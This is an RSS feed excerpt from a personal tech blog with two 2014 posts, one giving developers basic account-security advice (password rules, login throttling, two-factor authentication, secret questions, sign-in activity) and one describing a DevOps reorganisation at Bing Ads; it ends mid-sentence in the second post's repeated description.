<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:pingback="http://madskills.com/public/xml/rss/module/pingback/" version="2.0">
  <channel>
    <title>Dare Obasanjo's weblog - Programming</title>
    <link>http://www.25hoursaday.com/weblog/</link>
    <description>"You can buy cars but you can't buy respect in the hood" - Curtis Jackson</description>
    <language>en-us</language>
    <copyright>Dare Obasanjo</copyright>
    <lastBuildDate>Fri, 05 Sep 2014 13:32:38 GMT</lastBuildDate>
    <generator>newtelligence dasBlog 2.3.12105.0</generator>
    <managingEditor>kpako@yahoo.com</managingEditor>
    <webMaster>kpako@yahoo.com</webMaster>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=0c04e659-2dbe-4dd0-b27d-307458415fda</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,0c04e659-2dbe-4dd0-b27d-307458415fda.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,0c04e659-2dbe-4dd0-b27d-307458415fda.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=0c04e659-2dbe-4dd0-b27d-307458415fda</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I’ve read a number of articles about account security, passwords and secret questions
this week for <a href="https://www.bing.com/news/search?q=celebgate&amp;FORM=HDRSC6">obvious
reasons</a>. Although I’ve seen a number of posts directed at end users as to how
to better safeguard their accounts, I haven’t seen anything similar providing guidance
to developers of online services on how to better safeguard their users in what is
a very hostile environment. 
</p>
        <p>
Below are the top five (plus a bonus one) account security features that every competent
online service should have implemented. None of these are ground breaking but it is
quite clear that many services that we all use every day don’t implement even these
basic security features thus putting our data at risk. 
</p>
        <ol>
          <li>
            <u>Strong passwords including banning common passwords:</u> The most basic practice
is requiring that users create a <a href="http://en.wikipedia.org/wiki/Password_strength">strong
password</a> often by requiring some combination of minimum length, at least one of
upper &amp; lower case character and encouraging the use of punctuation. Although
this is a good first steps there are other steps services need to take to ensure their
users are using hard to guess passwords. One such approach is to take a look at the
common <a href="http://passwordreset.org/others/most-common-computer-password.html">common
choices</a> of user passwords that have <a href="http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php">been
observed as a result of website hacks</a>.  
<p>
Analysis of these lists show that people are quite predictable and you often find
"password", "abc123", "letmein" or the name of the website
being used by a sizable percentage of the users on your site. It thus makes sense
to ban users from using any of these fairly common passwords which can then lead to
successful drive-by hacking incidents. For example, a hacker can take the basic approach
of trying to log-in to a bunch of users accounts using "password", "123456"
as their email address and if past history is a judge can end up compromising thousands
of user accounts with just this brain dead tactic. 
</p></li>
          <li>
            <p>
              <u>Throttling failed password attempts:</u> Regardless of how strong a user’s password
is, it is trying to stop a bullet with a wet paper towel against a dedicated <a href="http://en.wikipedia.org/wiki/Password_cracking">brute
force attack</a> if no protections are in place. Password cracking tools like <a href="http://en.wikipedia.org/wiki/John_the_Ripper">John
the Ripper</a> can crack a strong eight character password in about 15 minutes. This
means to fully protect users, online services should have a limit on how often a user
can fail a password challenge before you put some road blocks in their way. These
road blocks can include exponentially increasing delays after each failed attempt
(wait 1 minute, if failed again then 2 minutes, etc) or requiring the person to solve
a CAPTCHA to prove they are human. 
</p>
            <p>
Another thing services should do is look at patterns of failed password attempts to
see if broader prevention strategies are necessary. For example, if you are seeing
hundreds of users failing multiple password attempts from a particular IP range you
may want to block that IP range since given our previous discussion about weak passwords
they probably have successfully hacked some of your accounts. 
</p>
          </li>
          <li>
            <p>
              <u>2-factor authentication:</u> Every online service should give customers the option
to trade convenience (i.e. password only sign in) with more security. <a href="http://en.wikipedia.org/wiki/Multi-factor_authentication">Two-factor
authentication</a> is typically the practice of combining something the user knows
(e.g. a password) with something the user has (e.g. their smart phone or biometric
data). Although more inconvenient than just providing a password, it greatly increases
the security for users who may be desirable targets for account hijackings or when
providing a service that holds sensitive data. This is why it is supported by a number
of <a href="https://www.eff.org/deeplinks/2013/05/howto-two-factor-authentication-twitter-and-around-web">popular
online service providers including Google, Microsoft and Twitter</a>. 
</p>
            <p>
A common practice to improve the usability of 2-factor authentication is to give users
the option to only require it the first time the sign-in from a particular device.
This means that once the user goes through the two step authentication process from
a new computer, you can assume that that device is safe and then only require a password
the next time they sign in from that device.  
</p>
          </li>
          <li>
            <p>
              <u>Choose better secret questions or better yet replace them with proofs:</u> Inevitably,
users will forget the password they use with your service especially if you require
strong passwords and have a policy that is incompatible with their default password
choice (which hopefully isn’t “password1” <img class="wlEmoticon wlEmoticon-smile" style="border-top-style: none; border-bottom-style: none; border-right-style: none; border-left-style: none" alt="Smile" src="http://www.25hoursaday.com/weblog/content/binary/Windows-Live-Writer/9dd54e4bf9fb_47BC/wlEmoticon-smile_2.png" />).
A common practice, which has now become an Achilles heel of account security, is to
have a set of back up questions that you ask the user if they have forgotten their
password. The problem for account security is that it is often easier to guess the
answers to these questions than it is to hack the user’s password. There is a great
check list for what makes a good secret question at <a title="http://www.technologyreview.com/news/413505/are-your-secret-questions-too-easily-answered/" href="http://goodsecurityquestions.com/examples">goodsecurityquestions.com</a> with
examples of good, fair and poor security questions. 
</p>
            <p>
In general you should avoid security questions because most can be easily guessed
such as what is your favorite color or sports team and for others their answers can
be easily found on Facebook such as where the user went to high school or via social
engineering your friends. A much better approach is to use a similar approach to 2-factor
authentication where a user provides proof of something they have such as their smartphone
(send an SMS) or alternate email account (send an email) to verify that they are who
they say they are. 
</p>
          </li>
          <li>
            <p>
              <u>Show customers their sign-in activity:</u> When all else fails, it is important
to give your customers the tools to figure out for themselves if they have been hacked.
A good way to do this is to let them know of sign-in attempts that have occurred on
their account so they can that either failed or were successful. Google does this
today via its <a href="https://support.google.com/mail/answer/45938?hl=en">last account
activity</a> feature. You can find this by going to <a href="https://security.google.com/">security.google.com</a> and
click <em>Recent activity</em> under “Security” on the left. Microsoft provides this
with its <a title="http://www.microsoft.com/en-us/account/security/recentactivity.aspx" href="http://www.microsoft.com/en-us/account/security/recentactivity.aspx">recent
activity feature</a> which you can find by going to <a href="https://account.live.com/activity">https://account.live.com/activity</a>. 
</p>
          </li>
        </ol>
        <p>
Implementing these features isn’t a cure all for account security woes and should
instead be treated as the minimum bar for providing a reasonable level of security
for your users.  
</p>
        <p>
 
</p>
        <h2>
        </h2>
        <p>
          <img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/Beyonce/e/B000APOLQ4">Beyonce</a> – <a href="http://flawless.beyonce.com">Flawless
Remix (featuring Nicki Minaj)</a><img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=0c04e659-2dbe-4dd0-b27d-307458415fda" />
      </body>
      <title>5 Account Security Features Every Online Service Should Implement But Doesn't</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,0c04e659-2dbe-4dd0-b27d-307458415fda.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2014/09/05/5AccountSecurityFeaturesEveryOnlineServiceShouldImplementButDoesnt.aspx</link>
      <pubDate>Fri, 05 Sep 2014 13:32:38 GMT</pubDate>
      <description>&lt;p&gt;
I’ve read a number of articles about account security, passwords and secret questions
this week for &lt;a href="https://www.bing.com/news/search?q=celebgate&amp;amp;FORM=HDRSC6"&gt;obvious
reasons&lt;/a&gt;. Although I’ve seen a number of posts directed at end users as to how
to better safeguard their accounts, I haven’t seen anything similar providing guidance
to developers of online services on how to better safeguard their users in what is
a very hostile environment. 
&lt;/p&gt;
&lt;p&gt;
Below are the top five (plus a bonus one) account security features that every competent
online service should have implemented. None of these are ground breaking but it is
quite clear that many services that we all use every day don’t implement even these
basic security features thus putting our data at risk. 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;u&gt;Strong passwords including banning common passwords:&lt;/u&gt; The most basic practice
is requiring that users create a &lt;a href="http://en.wikipedia.org/wiki/Password_strength"&gt;strong
password&lt;/a&gt; often by requiring some combination of minimum length, at least one of
upper &amp;amp; lower case character and encouraging the use of punctuation. Although
this is a good first steps there are other steps services need to take to ensure their
users are using hard to guess passwords. One such approach is to take a look at the
common &lt;a href="http://passwordreset.org/others/most-common-computer-password.html"&gt;common
choices&lt;/a&gt; of user passwords that have &lt;a href="http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php"&gt;been
observed as a result of website hacks&lt;/a&gt;.&amp;#160; 
&lt;p&gt;
Analysis of these lists show that people are quite predictable and you often find
&amp;quot;password&amp;quot;, &amp;quot;abc123&amp;quot;, &amp;quot;letmein&amp;quot; or the name of the website
being used by a sizable percentage of the users on your site. It thus makes sense
to ban users from using any of these fairly common passwords which can then lead to
successful drive-by hacking incidents. For example, a hacker can take the basic approach
of trying to log-in to a bunch of users accounts using &amp;quot;password&amp;quot;, &amp;quot;123456&amp;quot;
as their email address and if past history is a judge can end up compromising thousands
of user accounts with just this brain dead tactic. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;u&gt;Throttling failed password attempts:&lt;/u&gt; Regardless of how strong a user’s password
is, it is trying to stop a bullet with a wet paper towel against a dedicated &lt;a href="http://en.wikipedia.org/wiki/Password_cracking"&gt;brute
force attack&lt;/a&gt; if no protections are in place. Password cracking tools like &lt;a href="http://en.wikipedia.org/wiki/John_the_Ripper"&gt;John
the Ripper&lt;/a&gt; can crack a strong eight character password in about 15 minutes. This
means to fully protect users, online services should have a limit on how often a user
can fail a password challenge before you put some road blocks in their way. These
road blocks can include exponentially increasing delays after each failed attempt
(wait 1 minute, if failed again then 2 minutes, etc) or requiring the person to solve
a CAPTCHA to prove they are human. 
&lt;/p&gt;
&lt;p&gt;
Another thing services should do is look at patterns of failed password attempts to
see if broader prevention strategies are necessary. For example, if you are seeing
hundreds of users failing multiple password attempts from a particular IP range you
may want to block that IP range since given our previous discussion about weak passwords
they probably have successfully hacked some of your accounts. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;u&gt;2-factor authentication:&lt;/u&gt; Every online service should give customers the option
to trade convenience (i.e. password only sign in) with more security. &lt;a href="http://en.wikipedia.org/wiki/Multi-factor_authentication"&gt;Two-factor
authentication&lt;/a&gt; is typically the practice of combining something the user knows
(e.g. a password) with something the user has (e.g. their smart phone or biometric
data). Although more inconvenient than just providing a password, it greatly increases
the security for users who may be desirable targets for account hijackings or when
providing a service that holds sensitive data. This is why it is supported by a number
of &lt;a href="https://www.eff.org/deeplinks/2013/05/howto-two-factor-authentication-twitter-and-around-web"&gt;popular
online service providers including Google, Microsoft and Twitter&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
A common practice to improve the usability of 2-factor authentication is to give users
the option to only require it the first time the sign-in from a particular device.
This means that once the user goes through the two step authentication process from
a new computer, you can assume that that device is safe and then only require a password
the next time they sign in from that device.&amp;#160; 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;u&gt;Choose better secret questions or better yet replace them with proofs:&lt;/u&gt; Inevitably,
users will forget the password they use with your service especially if you require
strong passwords and have a policy that is incompatible with their default password
choice (which hopefully isn’t “password1” &lt;img class="wlEmoticon wlEmoticon-smile" style="border-top-style: none; border-bottom-style: none; border-right-style: none; border-left-style: none" alt="Smile" src="http://www.25hoursaday.com/weblog/content/binary/Windows-Live-Writer/9dd54e4bf9fb_47BC/wlEmoticon-smile_2.png" /&gt;).
A common practice, which has now become an Achilles heel of account security, is to
have a set of back up questions that you ask the user if they have forgotten their
password. The problem for account security is that it is often easier to guess the
answers to these questions than it is to hack the user’s password. There is a great
check list for what makes a good secret question at &lt;a title="http://www.technologyreview.com/news/413505/are-your-secret-questions-too-easily-answered/" href="http://goodsecurityquestions.com/examples"&gt;goodsecurityquestions.com&lt;/a&gt; with
examples of good, fair and poor security questions. 
&lt;/p&gt;
&lt;p&gt;
In general you should avoid security questions because most can be easily guessed
such as what is your favorite color or sports team and for others their answers can
be easily found on Facebook such as where the user went to high school or via social
engineering your friends. A much better approach is to use a similar approach to 2-factor
authentication where a user provides proof of something they have such as their smartphone
(send an SMS) or alternate email account (send an email) to verify that they are who
they say they are. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;u&gt;Show customers their sign-in activity:&lt;/u&gt; When all else fails, it is important
to give your customers the tools to figure out for themselves if they have been hacked.
A good way to do this is to let them know of sign-in attempts that have occurred on
their account so they can that either failed or were successful. Google does this
today via its &lt;a href="https://support.google.com/mail/answer/45938?hl=en"&gt;last account
activity&lt;/a&gt; feature. You can find this by going to &lt;a href="https://security.google.com/"&gt;security.google.com&lt;/a&gt; and
click &lt;em&gt;Recent activity&lt;/em&gt; under “Security” on the left. Microsoft provides this
with its &lt;a title="http://www.microsoft.com/en-us/account/security/recentactivity.aspx" href="http://www.microsoft.com/en-us/account/security/recentactivity.aspx"&gt;recent
activity feature&lt;/a&gt; which you can find by going to &lt;a href="https://account.live.com/activity"&gt;https://account.live.com/activity&lt;/a&gt;. 
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
Implementing these features isn’t a cure all for account security woes and should
instead be treated as the minimum bar for providing a reasonable level of security
for your users.&amp;#160; 
&lt;/p&gt;
&lt;p&gt;
&amp;#160;
&lt;/p&gt;
&lt;h2&gt;
&lt;/h2&gt;
&lt;p&gt;
&lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/Beyonce/e/B000APOLQ4"&gt;Beyonce&lt;/a&gt; – &lt;a href="http://flawless.beyonce.com"&gt;Flawless
Remix (featuring Nicki Minaj)&lt;/a&gt; &lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=0c04e659-2dbe-4dd0-b27d-307458415fda" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,0c04e659-2dbe-4dd0-b27d-307458415fda.aspx</comments>
      <category>Cloud Computing</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Up until a few months ago, the term <code>DevOps</code> was simply another buzzword
which filled my Twitter feed that evoked a particular idea but wasn’t really concrete
to me. Similar to other buzzwords related to software development such as NoSQL and
Agile, it is hard to pin down what the definitive definition of the term is just what
it wasn’t. If you aren’t familiar with DevOps, a simple definition is that the goal
of DevOps is to address this common problem when building online services 
</p>
        <p>
          <img src="http://dev2ops.org/wp-content/uploads/2010/02/WallOfConfusion_Release.png" />
        </p>
        <h3>The Big Switch
</h3>
        <p>
A couple of months ago, my work group took what many would consider a rather extreme
step in eliminating this wall between developers and operations. Specifically, <a href="http://advertise.bingads.microsoft.com/en-us/home">Bing
Ads</a> transitioned away from the traditional Microsoft engineering model of having <a href="http://www.microsoft.com/en-in/msidc/career/sde.aspx">software
design engineers</a> (aka developers), <a href="http://www.microsoft.com/en-in/msidc/career/sdet.aspx">software
design engineers in test</a> (testers) and <a href="http://careers.microsoft.com/careers/en/gbl/professions.aspx#it">service
operations</a> (ops) and merged all of these roles into a single engineering role.
As it states in <a href="http://en.wikipedia.org/wiki/DevOps">the Wikipedia entry
for DevOps</a>, the adoption of DevOps was driven by the following trends 
</p>
        <ol>
          <li>
Use of agile and other development processes and methodologies 
</li>
          <li>
Demand for an increased rate of production releases from application and business
unit stakeholders 
</li>
          <li>
Wide availability of virtualized and cloud infrastructure from internal and external
providers 
</li>
          <li>
Increased usage of data center automation and configuration management tools 
</li>
        </ol>
        <p>
All of these trends already applied to our organization before we made the big switch
to merge the three engineering disciplines into a DevOps role. We’d already embraced
the <a href="http://en.wikipedia.org/wiki/Scrum_(development)">Agile development model</a> complete
with two to four week sprints, daily scrums, burn-down charts, and senior program
managers playing the role of the product owner (although we use the term scenario
owner). Given our market position as the underdog to Google in search and advertising,
our business leaders always wants to ship <a title="Search Engine Watch: Big Bing Ads 2013 Recap" href="http://searchenginewatch.com/article/2287605/Big-Bing-Ads-2013-Recap">more
features, more quickly</a> while maintaining high product quality. In addition, there’s
a ton of peer pressure for all of us at Microsoft to leverage internal tools <a href="http://www.windowsazure.com/en-us/">Windows
Azure</a> and <a href="http://research.microsoft.com/apps/pubs/default.aspx?id=64604">Autopilot</a> for
as much of our cloud services needs as possible instead of rolling our own data centers
and hardware configurations. 
</p>
        <p>
Technically our organization was already committed to DevOps practices before we made
the transition that eliminated roles. However the what the organization realized is
that a bigger change to the culture was needed for us to get the most value out of
these practices. The challenge we faced is that the organizational structure of separate
roles for developers, testers and operations tends to create these walls where one
role feels their responsibility is for a certain part of the development cycle and
then tosses the results of their efforts down stream to the next set of folks in the
delivery pipeline. Developers tended to think their job was to write code and quality
was the role of testers. Testers felt their role was to create test frameworks and
find bugs then deployment was the role of the operations team. The operations team
tended to think their role was keeping the live site running without the ability to
significantly change how the product was built. No matter how open and collaborative
the people are on your team, these strictly defined roles create these walls. My favorite
analogy for this situation is like comparing two families who are on a diet trying
to lose weight and one of them has fruit, veggies and healthy snacks in the pantry
while the other has pop tarts, potato chips, chocolate and ice cream in theirs. No
matter how much will power the latter family has, they are more likely to “cheat”
on their diet than the first family because they have created an environment that
makes it harder for them to do the right thing. 
</p>
        <h3>Benefits
</h3>
        <p>
The benefits of fully embracing DevOps are fairly self-evident so I won’t spend time
on discussing the obvious benefits that have been beaten to death elsewhere. I will
talk about the benefits I’ve seen in our specific case of merging the 3 previous engineering
roles into a single one. The most significant change is the cultural change towards
how we view automation of every step related to deployment and monitoring. It turns
out that there is a big difference when approaching a problem from the perspective
of taking away people’s jobs (i.e. automating what the operations team does) versus
making your team more effective (i.e. reducing the amount of time the engineering
team spends on operational tasks that can be automated thus giving us more time to
work on features that move the business forward). This has probably the biggest surprise,
although obvious in hindsight, as well as the biggest benefit. 
</p>
        <p>
We’ve also begun to see faster time to resolve issues from build breaks to features
failing in production due to fact that the on-call person (we call them Directly Responsible
Individuals or DRIs) is now a full member of the engineering team who is expected
to be capable of debugging and fixing issues encountered as part of being on-call.
This is an improvement from prior models where the operations team were the primary
folks on-call and would tend to pull in the development team as a last resort outside
of business hours.   
</p>
        <p>
As a program manager (or product manager if you’re a Silicon Valley company), I find
it has made my job easier since I have fewer people to talk to because we’ve consolidated
engineering managers. No longer having to talk to an development manager separately
from the manager of systems engineers separately from a test manager has made communication
far more efficient for me. 
</p>
        <h3>Challenges
</h3>
        <p>
There are a number of risks with any organization taking the steps that we have at
Bing Ads. The biggest risk is definitely attrition especially at a company like Microsoft
where these well-defined roles have been a part of the culture for decades and are
still part &amp; parcel of how the majority of the company does business. A number
of people may feel that this is a bait and switch on their career plans with the new
job definitions not aligning with how they saw their roles evolving over time. Others
may not mind that as much but may simply feel that their skills may not be as valuable
in the new world especially as they now need to learn a set of new skills. I’ve had
one simple argument when I’ve met people with this mindset. The first is that DevOps
is here to stay. The industry trends that have had more and more companies from Facebook
and Amazon to Etsy and Netflix blurring the lines between developers, test engineers
and operations staff will not go away. Companies aren’t going to want to start shipping
less frequently nor will they want to bring back manual deployment processes instead
of automating as much as possible. The skills you learn in a DevOps culture will make
you more broadly valuable wherever they find their next role whether it is a traditional
specialized engineering structure or in a DevOps based organization. 
</p>
        <p>
Other places where we’re still figuring things out are best practices around ownership
of testing. We currently try to follow a “you build it, you test it, you deploy it”
culture as much as possible although allowing any dev to deploy code has turned out
to be bit more challenging than we expected since we had to ensure we do not run afoul
of the structures we had in place to stay compliant with <a href="http://en.wikipedia.org/wiki/Information_technology_controls#IT_controls_and_the_Sarbanes-Oxley_Act_.28SOX.29">various
regulations</a>. Testing your own code is one of topics where <a href="http://thecodist.com/article/programmers_should_not_test_their_own_code">many
in the industry</a> have come out against as <a href="http://www.developerfusion.com/column/8314/creating-a-culture-of-quality-part-1/">being
generally a bad idea</a>. I remember arguments from my college classes from software
engineering professors about the blind spots developers have about their software
requiring the need for dedicated teams to do testing. We do have mitigations in place
such as test plan reviews and code reviews to ensure there are alternate pairs of
eyes looking at the problem space not just the developer who created the functionality.
There is also the school of thought that since the person who wrote the code will
likely be the person woken up in the middle of the night if it goes haywire at an
inopportune moment, there is a sense of self preservation that will cause more diligence
to be applied to the problem than was the case in the previous eras of boxed software
which is when most of the anti-developer testing arguments were made. 
</p>
        <h3>Further Reading
</h3>
        <ul>
          <li>
            <p>
              <a href="http://en.wikipedia.org/wiki/DevOps">DevOps on Wikipedia</a>
            </p>
          </li>
          <li>
            <p>
              <a href="http://dev2ops.org/2010/02/what-is-devops/">What is DevOps?</a> by Damon
Edwards
</p>
          </li>
          <li>
            <p>
              <a href="http://devops.com/2012/11/08/release-engineering-at-facebook/">Release Engineering
at Facebook</a> based on a talk by Chuck Rossi
</p>
          </li>
          <li>
            <p>
              <a href="http://perfcap.blogspot.com/2012/03/ops-devops-and-noops-at-netflix.html">Ops,
DevOps and PaaS (NoOps) at Netflix</a> by Adrian Cockcroft 
</p>
          </li>
        </ul>
        <p>
 
</p>
        <p>
          <img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/Eminem/e/B000APFS8Y/ref=sr_ntt_srch_lnk_3?qid=1390182052&amp;sr=8-3">Eminem</a> – <a href="http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&amp;field-keywords=rap+god">Rap
God</a><img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c" />
      </body>
      <title>My Experiences with DevOps while Working in Bing Ads</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2014/01/20/MyExperiencesWithDevOpsWhileWorkingInBingAds.aspx</link>
      <pubDate>Mon, 20 Jan 2014 15:53:50 GMT</pubDate>
      <description>&lt;p&gt;
Up until a few months ago, the term &lt;code&gt;DevOps&lt;/code&gt; was simply another buzzword
which filled my Twitter feed that evoked a particular idea but wasn’t really concrete
to me. Similar to other buzzwords related to software development such as NoSQL and
Agile, it is hard to pin down what the definitive definition of the term is just what
it wasn’t. If you aren’t familiar with DevOps, a simple definition is that the goal
of DevOps is to address this common problem when building online services 
&lt;/p&gt;
&lt;p&gt;
&lt;img src="http://dev2ops.org/wp-content/uploads/2010/02/WallOfConfusion_Release.png" /&gt;
&lt;/p&gt;
&lt;h3&gt;The Big Switch
&lt;/h3&gt;
&lt;p&gt;
A couple of months ago, my work group took what many would consider a rather extreme
step in eliminating this wall between developers and operations. Specifically, &lt;a href="http://advertise.bingads.microsoft.com/en-us/home"&gt;Bing
Ads&lt;/a&gt; transitioned away from the traditional Microsoft engineering model of having &lt;a href="http://www.microsoft.com/en-in/msidc/career/sde.aspx"&gt;software
design engineers&lt;/a&gt; (aka developers), &lt;a href="http://www.microsoft.com/en-in/msidc/career/sdet.aspx"&gt;software
design engineers in test&lt;/a&gt; (testers) and &lt;a href="http://careers.microsoft.com/careers/en/gbl/professions.aspx#it"&gt;service
operations&lt;/a&gt; (ops) and merged all of these roles into a single engineering role.
As it states in &lt;a href="http://en.wikipedia.org/wiki/DevOps"&gt;the Wikipedia entry
for DevOps&lt;/a&gt;, the adoption of DevOps was driven by the following trends 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
Use of agile and other development processes and methodologies 
&lt;/li&gt;
&lt;li&gt;
Demand for an increased rate of production releases from application and business
unit stakeholders 
&lt;/li&gt;
&lt;li&gt;
Wide availability of virtualized and cloud infrastructure from internal and external
providers 
&lt;/li&gt;
&lt;li&gt;
Increased usage of data center automation and configuration management tools 
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
All of these trends already applied to our organization before we made the big switch
to merge the three engineering disciplines into a DevOps role. We’d already embraced
the &lt;a href="http://en.wikipedia.org/wiki/Scrum_(development)"&gt;Agile development model&lt;/a&gt; complete
with two to four week sprints, daily scrums, burn-down charts, and senior program
managers playing the role of the product owner (although we use the term scenario
owner). Given our market position as the underdog to Google in search and advertising,
our business leaders always wants to ship &lt;a title="Search Engine Watch: Big Bing Ads 2013 Recap" href="http://searchenginewatch.com/article/2287605/Big-Bing-Ads-2013-Recap"&gt;more
features, more quickly&lt;/a&gt; while maintaining high product quality. In addition, there’s
a ton of peer pressure for all of us at Microsoft to leverage internal tools &lt;a href="http://www.windowsazure.com/en-us/"&gt;Windows
Azure&lt;/a&gt; and &lt;a href="http://research.microsoft.com/apps/pubs/default.aspx?id=64604"&gt;Autopilot&lt;/a&gt; for
as much of our cloud services needs as possible instead of rolling our own data centers
and hardware configurations. 
&lt;/p&gt;
&lt;p&gt;
Technically our organization was already committed to DevOps practices before we made
the transition that eliminated roles. However the what the organization realized is
that a bigger change to the culture was needed for us to get the most value out of
these practices. The challenge we faced is that the organizational structure of separate
roles for developers, testers and operations tends to create these walls where one
role feels their responsibility is for a certain part of the development cycle and
then tosses the results of their efforts down stream to the next set of folks in the
delivery pipeline. Developers tended to think their job was to write code and quality
was the role of testers. Testers felt their role was to create test frameworks and
find bugs then deployment was the role of the operations team. The operations team
tended to think their role was keeping the live site running without the ability to
significantly change how the product was built. No matter how open and collaborative
the people are on your team, these strictly defined roles create these walls. My favorite
analogy for this situation is like comparing two families who are on a diet trying
to lose weight and one of them has fruit, veggies and healthy snacks in the pantry
while the other has pop tarts, potato chips, chocolate and ice cream in theirs. No
matter how much will power the latter family has, they are more likely to “cheat”
on their diet than the first family because they have created an environment that
makes it harder for them to do the right thing. 
&lt;/p&gt;
&lt;h3&gt;Benefits
&lt;/h3&gt;
&lt;p&gt;
The benefits of fully embracing DevOps are fairly self-evident so I won’t spend time
on discussing the obvious benefits that have been beaten to death elsewhere. I will
talk about the benefits I’ve seen in our specific case of merging the 3 previous engineering
roles into a single one. The most significant change is the cultural change towards
how we view automation of every step related to deployment and monitoring. It turns
out that there is a big difference when approaching a problem from the perspective
of taking away people’s jobs (i.e. automating what the operations team does) versus
making your team more effective (i.e. reducing the amount of time the engineering
team spends on operational tasks that can be automated thus giving us more time to
work on features that move the business forward). This has probably the biggest surprise,
although obvious in hindsight, as well as the biggest benefit. 
&lt;/p&gt;
&lt;p&gt;
We’ve also begun to see faster time to resolve issues from build breaks to features
failing in production due to fact that the on-call person (we call them Directly Responsible
Individuals or DRIs) is now a full member of the engineering team who is expected
to be capable of debugging and fixing issues encountered as part of being on-call.
This is an improvement from prior models where the operations team were the primary
folks on-call and would tend to pull in the development team as a last resort outside
of business hours.&amp;#160;&amp;#160; 
&lt;/p&gt;
&lt;p&gt;
As a program manager (or product manager if you’re a Silicon Valley company), I find
it has made my job easier since I have fewer people to talk to because we’ve consolidated
engineering managers. No longer having to talk to an development manager separately
from the manager of systems engineers separately from a test manager has made communication
far more efficient for me. 
&lt;/p&gt;
&lt;h3&gt;Challenges
&lt;/h3&gt;
&lt;p&gt;
There are a number of risks with any organization taking the steps that we have at
Bing Ads. The biggest risk is definitely attrition especially at a company like Microsoft
where these well-defined roles have been a part of the culture for decades and are
still part &amp;amp; parcel of how the majority of the company does business. A number
of people may feel that this is a bait and switch on their career plans with the new
job definitions not aligning with how they saw their roles evolving over time. Others
may not mind that as much but may simply feel that their skills may not be as valuable
in the new world especially as they now need to learn a set of new skills. I’ve had
one simple argument when I’ve met people with this mindset. The first is that DevOps
is here to stay. The industry trends that have had more and more companies from Facebook
and Amazon to Etsy and Netflix blurring the lines between developers, test engineers
and operations staff will not go away. Companies aren’t going to want to start shipping
less frequently nor will they want to bring back manual deployment processes instead
of automating as much as possible. The skills you learn in a DevOps culture will make
you more broadly valuable wherever they find their next role whether it is a traditional
specialized engineering structure or in a DevOps based organization. 
&lt;/p&gt;
&lt;p&gt;
Other places where we’re still figuring things out are best practices around ownership
of testing. We currently try to follow a “you build it, you test it, you deploy it”
culture as much as possible although allowing any dev to deploy code has turned out
to be bit more challenging than we expected since we had to ensure we do not run afoul
